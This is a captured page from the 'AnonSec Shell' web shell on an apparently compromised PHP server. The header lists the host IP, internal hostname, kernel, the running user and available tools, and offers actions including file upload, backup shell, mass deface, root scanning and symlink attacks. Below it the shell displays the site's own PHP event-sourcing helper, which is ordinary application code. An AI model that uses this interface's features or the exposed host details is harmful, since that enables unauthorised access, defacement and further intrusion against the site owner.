AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 52.223.31.75 / Your IP : 172.31.12.187 [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF
Directory : /var/www/ascii/app/helpers/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www/ascii/app/helpers/eventsourcing.php

<?php

class EventSourcing extends DBLinkMongo{

    function __construct($withphpbb=true)
    {
        $this->session = new OCSession();
        parent::__construct(FILE_INI_MDADB_MONGO);

    }

    private function parseSQL($query){
        if($query[0] == "I" || $query[0] == "i"){
            //insert INSERT INTO 
            $nome_tabella = trim(substr($query, 12, stripos($query, "(")-12));
            $start = strpos($query, "(")+1;
            $stop = strpos($query, ")")-$start;
            $parametri =explode(",", substr($query, $start, $stop));
            //elimino la prima parte dall query
            $aquery = substr($query, strpos($query, "VALUES")+6);
            $aquery = substr($aquery, strpos($aquery, "(")+1);

            //elimino gli spazi
            $valori =explode(",", substr($aquery, 0, strripos($aquery, ")")));

            $keyvalue = array();
            foreach ($parametri as $key => $value) {
                $keyvalue[trim($parametri[$key])] =  trim(str_replace("'", "", $valori[$key]));
            }

            $keyvalue['nome_tabella'] = $nome_tabella;
            $keyvalue['tipo'] = "INSERT";
            return $keyvalue;

        }else if($query[0] == "U" || $query[0] == "u"){
            //update
            $nome_tabella = trim(substr($query, 7, stripos($query, "set ")-7));
            $start = stripos($query, "set")+3;
            $stop = stripos($query, "WHERE")-$start;
            $parametri =explode(",", substr($query, $start, $stop));

            $start = stripos($query, "WHERE")+5;
            $where = substr($query, $start);
        
            $keyvalue = array();
            foreach ($parametri as $key => $value) {
                $tmp = trim($parametri[$key]);
                $kv = explode("=", $tmp);
                $keyvalue[trim(str_replace("'", "", $kv[0]))] =  trim(str_replace("'", "", $kv[1]));
            }

            $keyvalue['nome_tabella'] = $nome_tabella;
            $keyvalue['tipo'] = "UPDATE";
            $keyvalue['where'] = $where;
            return $keyvalue;

        }else{
            //delete
            $start = stripos($query, "FROM")+4;
            $nome_tabella = trim(substr($query, $start, stripos($query, "WHERE")-$start));

            $start = stripos($query, "WHERE")+5;
            $where = substr($query, $start);

            $keyvalue['nome_tabella'] = $nome_tabella;
            $keyvalue['tipo'] = "DELETE";
            $keyvalue['where'] = $where;
            return $keyvalue;
        }

    }
    
    public function StoreEvent($message, $id_insert = null){
        $id_user = $_SESSION['userdata']['id_user'];
        $record = array('query' => $message, 'id_user' => $id_user, 'date' => new MongoDate(time()), 'values' => $this->parseSQL($message));
        
        if($id_insert)$record['id_user'] = $id_insert;
        
		return $this->inserisciRecord("EventSourcing", $record);
    }

    public function StoreError($message){
        $id_user = $_SESSION['userdata']['id_user'];
        $record = array('query' => $message, 'id_user' => $id_user, 'date' => new MongoDate(time()), 'values' => $this->parseSQL($message));
      //  $this->inserisciRecord("EventSourcing", $record);
        return $this->inserisciRecord("EventError", $record);
    }

    
}

?>

Anon7 - 2022
AnonSec Team